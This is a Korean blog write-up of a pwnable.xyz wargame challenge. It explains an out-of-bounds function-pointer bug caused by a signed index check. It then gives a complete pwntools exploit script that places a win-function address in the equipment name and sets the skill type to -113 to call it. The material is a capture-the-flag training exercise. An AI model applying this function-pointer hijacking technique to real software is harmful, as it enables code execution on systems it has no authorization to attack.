바이너리를 처음 봤을 때 구조가 다소 복잡해서 분석이 쉽지 않았다.
입력을 받는 지점을 기준 삼아 대략 30분 가까이 분석을 진행하면 중, 아래와 같은 버그를 발견할 수 있었다.
if ( buf[0] == 'y' )
{
printf("Name for your equip: ");
memset(&player_trea.Equip, 0, 0x20uLL);
fgets(player_trea.Equip.Name, 32, stdin);
player_trea.Equip.DefValue = get_rand_range(1000LL);
printf("That's some neat equip, you created there. Is has a def value of %lu\n", player_trea.Equip.DefValue);
}
|
printf("What type of skill is this (0: Heal, 1: Attack): ");
isAttack = get_long();
if ( isAttack <= 1 )
{
player->Skills[destSkill].Skill_Func = SkillTable[isAttack];
player->Skills[destSkill].IsAttackSkill = isAttack;
player->Skills[destSkill].Value = get_rand(1000);
}
|
Arena의 승패 결과와 상관없이 한 게임이 끝날 때마다 Rank가 항상 1단계씩 증가하며, Rank 2 (Duelist) 부터는 장비 이름을 수정할 수 있고 Rank 3 (Gladiator) 부터는 스킬 타입을 변경할 수 있다.
스킬 타입을 입력받을 때 if 조건식을 보면, isAttack이 1 이하일 때 SkillTable+8*isAttack 에 있는 주소의 값을 스킬 함수로 설정할 수 있다. isAttack을 음수로 설정해도 해당 조건식을 통과할 수 있으므로, SkillTable이 위치한 0x6046E0 이전의 값을 아무거나 끌어다 써서 함수 주소로 설정할 수 있다는 의미다.
player_trea.Equip.Name의 offset은 0xD0이므로 위치는 0x604358 이다. (0x604358-0x6046E0)/8 = -113 을 isAttack 값으로 주면 win을 실행할 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30020) else : p = process('./challenge') def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def ChangeEquip(data:bytes) : p.writeline(b'y') p.writelineafter(b': ', data) def ChangeSkill(skill:int, skill_type:int) : p.writeline(b'y') p.writelineafter(b': ', str(skill).encode()) p.writelineafter(b': ', str(skill_type).encode()) def exploit() : asks = [ 'Which skill do you want to use : ', 'Which target you want to use that skill on : ', 'Do you want to change your equip (y/n)? : ', 'Do you want to change the type of your skills (y/n)? : ' ] while True : recv = p.read().decode() line = recv.split('\n')[-1] if line == asks[0] or line == asks[1] : p.writeline(b'0') continue elif line == asks[2] : ChangeEquip(p64(0x401372)) # win log_info('equip updated') continue elif line == asks[3] : ChangeSkill(0, -113) p.writelineafter(b': ', b'3') log_info('skill updated') continue if 'FLAG' in recv : print(recv) break p.close() if __name__ == '__main__' : exploit() |
Last update: 4/8/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / PvP (0) | 2020.04.08 |
---|---|
pwnable.xyz / bookmark (0) | 2020.04.08 |
pwnable.xyz / rwsr (0) | 2020.01.20 |
pwnable.xyz / fclose (0) | 2020.01.18 |
pwnable.xyz / message (0) | 2020.01.17 |